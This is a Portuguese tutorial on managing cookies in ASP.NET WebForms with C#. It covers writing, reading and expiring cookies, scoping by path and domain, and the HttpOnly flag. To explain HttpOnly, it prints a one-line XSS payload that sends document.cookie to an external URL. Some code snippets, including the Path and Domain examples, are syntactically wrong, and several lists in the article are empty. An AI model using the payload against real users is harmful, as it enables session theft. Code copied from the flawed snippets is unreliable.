Gravação, Leitura e Remoção de Cookies no ASP.NET

Neste artigo efetuaremos a gravação, leitura e remoção de cookies de forma segura em nossas aplicações web utilizando apenas as classes nativas do ASP.NET C#.

Cookies são informações guardadas no nosso browser em pequenas partes de um documento que estão relacionadas diretamente a um determinado endereço na web. Em outras palavras, trata-se de partes de dados enviados para um determinado site da web. Estes ficam armazenados em um arquivo de texto criado localmente na máquina do usuário que está acessando aquele determinado site. Por exemplo, quando acessamos uma loja virtual e adicionamos itens ao nosso “carrinho” e não finalizamos a compra, posteriormente recebemos e-mail referente a aqueles produtos, isso porque as informações das compras ficaram guardadas nos cookies.

Existem vários tipos de cookies. São eles:



Praticamente todos os navegadores são configurados por padrão para aceitarem automaticamente os cookies. Porém, podemos alterar as configurações para bloquear os mesmos ou alertar-nos no momento em que um cookie estiver sendo enviado. Mas essas práticas não são interessantes, pois o intuito dos cookies é facilitar a vida do usuário.

Existem diversas formas de gerenciar os cookies e depende de navegador para navegador.

Como funcionam

Os cookies funcionam com informação no formato de texto Chave – Valor, ou seja, para cada chave existe um valor específico associado. Eles ficam armazenados em diretórios diferentes, de acordo com cada navegador, e essas informações podem ser acessadas a qualquer momento, desde que o mesmo ainda não esteja expirado e/ou excluídos pelo usuário.

Listagem 1. Formato Cookies

valorNome = "Thiago Darlei Santana Souza"; valorNaturalidade = "Rio Real/BA"; valorIdade = "26 anos"; valorProfissao = "Analista Programador"; valorSexo = "Masculino"; valorCidade = "Rio Real/BA"; valorEndereco = "Rua Joaquim Matos";

Na Listagem 1 mostramos a disposição de como as informações ficam armazenadas no cookie. Para toda chave (ValorNome, ValorNaturalidade, ValorIdade, ValorProfissao e assim sucessivamente), tem-se um valor respectivo (“Thiago Darlei Santana Souza”, “Rio Real/BA”, “26 anos”, “Analista Programador”).

Ao enviar um cookie para o cliente, como faremos mais a frente, algumas informações adicionais são passadas:



Limitações nos cookies

Por trafegar no protocolo HTTP sem criptografia, o cookie é limitado em vários aspectos, como por exemplo:



O motivo dessas limitações se dá pelo fato de que o intuito dos cookies não é guardar informações sigilosas, mas sim ter informações de comportamento do usuário nas respectivas páginas.

Em ASP.NET temos a possibilidade de utilizar os cookies por meio dos objetos Request e Response. A seguir listaremos alguns métodos existentes que facilitarão a nossa implementação:



A Classe HttpCookie do ASP.NET nos fornece todos os métodos necessários para criar e manipular nossos cookies nos cabeçalhos das nossas aplicações.

Para termos acesso a essas classes, basta acessarmos os seguintes namespaces:System.Web (Request e Response) e System.Web.HttpCookie (HttpCookie).

Neste artigo abordaremos apenas o ASP.NET C# com WebForms, pois a utilização de cookies utilizando MVC funciona de uma forma totalmente diferente (vide seção Links), não fazendo o uso das classes HttpCookie, Request e Response, e sim da classe ControllerActionInvoker, assim fugindo do foco do artigo.

Na Listagem 2 demonstraremos os métodos básicos necessários para efetuar a gravação, remoção e leitura de cookie utilizando o C#.

Listagem 2. Corpo HTML da nossa aplicação

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="CookieDevmedia.Cookie" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title> C# - Usando cookies </title> </head> <body> <h1>Gravação, Leitura e Remoção de Cookie utilizando ASP. NET</h1> <form id="form1" runat="server"> <div> <asp:Button ID="btnGravar" runat="server" OnClick="btnGravar_Click" Text="Gravar Cookies" Width="120px" Height="30px" ToolTip="Efetua a gravação dos dados no cookies!" /> <br /> <asp:Button ID="btnLer" runat="server" OnClick="btnLer_Click" Text="Ler Cookies" Width="120px" Height="30px" ToolTip="Efetua a leitura dos cookies!" /> <br /> <asp:Button ID="btnRemoverCookie" runat="server" OnClick="btnRemoverCookie_Click" Text="Remover Cookies" Width="120px" Height="30px" ToolTip="Efetua a remoção dos dados no cookies!" /> <br /> <asp:Literal ID="ltrCookie" runat="server"></asp:Literal> </div> </form> </body> </html>

Listagem 3. Código C# para funcionamento da aplicação

using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; namespace CookieDevmedia { public partial class _Default : System.Web.UI.Page { /* * Método 01 * Método responsável por efetuar a Gravação de um Cookie */ private void GravandoDadosCookie(string nomeCookie) { // Verificando se já existe o cookie na máquina do usuário HttpCookie cookie = Request.Cookies[nomeCookie]; if (cookie == null) { // Criando a Instância do cookie cookie = new HttpCookie(nomeCookie); //Adicionando a propriedade "Nome" no cookie cookie.Values.Add("valorNome", "Thiago Darlei Santana Souza"); //Adicionando a propriedade "Naturalidade" no cookie cookie.Values.Add("valorNaturalidade", "Rio Real/BA"); //Adicionando a propriedade "Idade" no cookie cookie.Values.Add("valorIdade", "26 anos"); //Adicionando a propriedade "Profissão" no cookie cookie.Values.Add("valorProfissão", "Analista Programador"); //colocando o cookie para expirar em 365 dias cookie.Expires = DateTime.Now.AddDays(365); // Definindo a segurança do nosso cookie cookie.HttpOnly = true; // Registrando cookie this.Page.Response.AppendCookie(cookie); } } /* * Método 02 * Método responsável por obter as propriedades de um cookie caso ele exista */ public void getPropriedadesCookie(string nomeCookie) { // Obtém a requisição com dos dados do cookie HttpCookie cookie = ObterRequisicaoCookie(nomeCookie); if (cookie != null) { // Separa os valores das propriedade string[] valores = cookie.Value.ToString().Split('&'); // Varre os valores das propriedades encontrados for (int i = 0; i < valores.Length; i++) { // Escreve os valores das propriedades encontradas ltrCookie.Text += "Cookie - Propriedade: " + (i + 1) + " - " + valores[i] + "<br>"; } } else ltrCookie.Text = string.Empty; } /* * Método 03 * Método responsável por Obter a requisição HttpCookie de um determinado cookie caso ele exista */ private HttpCookie ObterRequisicaoCookie(string nomeCookie) { try { // Retornando o cookie caso exista return this.Page.Request.Cookies[nomeCookie]; } catch { // Caso não exista o cookie informado, retorna NULL return null; } } /* * Método 04 * Método responsável por remover um determinado cookie */ private void removerCookie(string nomeCookie) { // Removendo o Cookie Response.Cookies[nomeCookie].Expires = DateTime.Now.AddDays(-1); } protected void btnGravar_Click(object sender, EventArgs e) { GravandoDadosCookie("THIAGO_SANTANA"); } protected void btnLer_Click(object sender, EventArgs e) { getPropriedadesCookie("THIAGO_SANTANA"); } protected void btnRemoverCookie_Click(object sender, EventArgs e) { removerCookie("THIAGO_SANTANA"); ltrCookie.Text = string.Empty; } } }

Na Listagem 3 temos quatro métodos auxiliares para efetuarmos as operações básicas com os cookies:



Limitando Cookies dentro de um Escopo ou Domínio

Cada página da sua aplicação recebe todos os cookies referentes a mesma. Porém, podemos definir o escopo dos nossos cookies das seguintes formas:


  1. Podemos limitar os cookies, definindo em qual pasta do servidor os mesmos podem ser acessados. Em outras palavras, nossos cookies só estarão disponíveis em páginas HTML que estiverem dentro de uma pasta definida por nós dentro da nossa aplicação, como mostra o exemplo a seguir:
    //Definição do Path (Caminho Físico) para os cookies na aplicação. cookie.Expires.Path = "/Cadastros";Assim, definimos que os cookies da nossa aplicação só podem ser acessados apenas por páginas que se encontram dentro da pasta “Cadastros”.
  2. Podemos também limitar o acesso aos cookies definindo o domínio e subdomínios que poderão ter acesso a essas informações dentro da nossa aplicação, como mostra a Listagem 4.
    Listagem 4. Definindo o domínio dos cookies em nossa aplicação//Definição do domínio para que os cookies sejam acessados em um domínio específico. Response.Cookies.("domain").Domain = "meudominio.com"; //Definição do domínio para que os cookies sejam acessados apenas na intranet. Response.Cookies.("domain").Domain = "intranet.globo.com";
Veja que definimos o nosso escopo para que apenas as páginas que estiverem dentro do domínio “meudominio.com” tivessem acesso aos dados do cookie.

Segurança nos cookies usando HTTPOnly

HTTPOnly é uma propriedade existente nos cookies responsável por definir uma segurança, onde as informações contidas neles não podem ser acessadas via ataques maliciosos, utilizamos esta propriedade em nosso método “GravandoDadosCookie”. Com isso, os dados gravados só poderão ser acessados via nossa aplicação, desde que esta propriedade esteja habilitada no navegador utilizado.

Com este modo de segurança os roubos de dados através de XSS – Cross Site Scripting são dificultados e não conseguem ler o conteúdo do mesmo. XSS é um tipo de vulnerabilidade do sistema de segurança em aplicações web, que ativam ataques maliciosos injetando scripts.

No exemplo da Listagem 5 temos um script malicioso utilizando XSS para obter as informações das propriedades dos cookies existente na máquina do usuário.

Listagem 5. Exemplo de tentativa de XSS

//Exemplo de um XSS para obter informações dos cookies. location.href = 'http://globoesporte.globo.com/?cookies=' + document.cookie;

Os navegadores que suportam este tipo de segurança são:



Apesar de definirmos um tempo de expiração longo para os cookies, devemos nos atentar que os usuários podem limpar o histórico de cookies do browser no momento que quiserem, por isso, devemos nos atentar a forma como utilizamos os mesmos, sempre verificando se o cookie que queremos ainda se encontra disponível. Podemos verificar se o cookie existe utilizando o Método 03 da nossa Listagem 3. Caso retorne o valor nulo, é sinal de que o cookie foi expirado ou excluído pelo usuário.

Além disso, atente-se ao padrão de armazenamento de cookies em cada navegador. Não significa que um cookie que foi gravado utilizando o Internet Explorer estará acessível utilizando outro navegador como, por exemplo, o Chrome ou o Mozilla Firefox.

Podemos concluir que o uso dos cookies são de suma importância em nossas aplicações, tornando as nossas aplicações mais elegantes. Espero que tenham gostado do assunto.

Até o próximo artigo!

Links

HTTOnly
https://msdn.microsoft.com/pt-br/library/system.web.httpcookie.httponly(v=vs.110).aspx

HttpCookie
https://msdn.microsoft.com/pt-br/library/System.Web.HttpCookie(v=vs.110).aspx

Google Analytics
https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage

XSS – Cross Site Scripting
http://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Uso do Cookie com MVC
http://www.codeproject.com/Questions/384164/Create-Cookie-Step-by-step-in-MVC
http://stephenwalther.com/archive/2008/07/08/asp-net-mvc-tip-15-pass-browser-cookies-and-server-variables-as-action-parameters


Ebook exclusivo
Dê um upgrade no início da sua jornada. Crie sua conta grátis e baixe o e-book

Artigos relacionados